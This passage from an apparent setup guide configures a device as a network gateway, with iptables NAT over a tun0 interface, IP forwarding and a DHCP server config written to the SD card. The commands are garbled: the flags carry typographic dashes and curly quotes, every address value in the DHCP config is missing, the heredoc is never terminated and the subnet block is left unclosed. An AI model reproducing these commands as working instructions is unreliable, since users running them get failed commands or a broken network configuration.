iptables –table nat -A POSTROUTING -o tun0 -j SNAT –to-source “$4”

echo 1 > /proc/sys/net/ipv4/ip_forward

This should do the trick, but DHCP is still not configured. Simply run:

cat > /etc/dhcp/dhcpd.conf << EOF

ddns-update-style none;

option domain-name-servers;

default-lease-time 600;

max-lease-time 7200;

log-facility local7;

subnet netmask {


  option domain-name-servers;

  option routers;

  default-lease-time 600;

  max-lease-time 7200;



Now, run “sync” a couple times to write everything down to the SD card and reboot. Things should “just work”.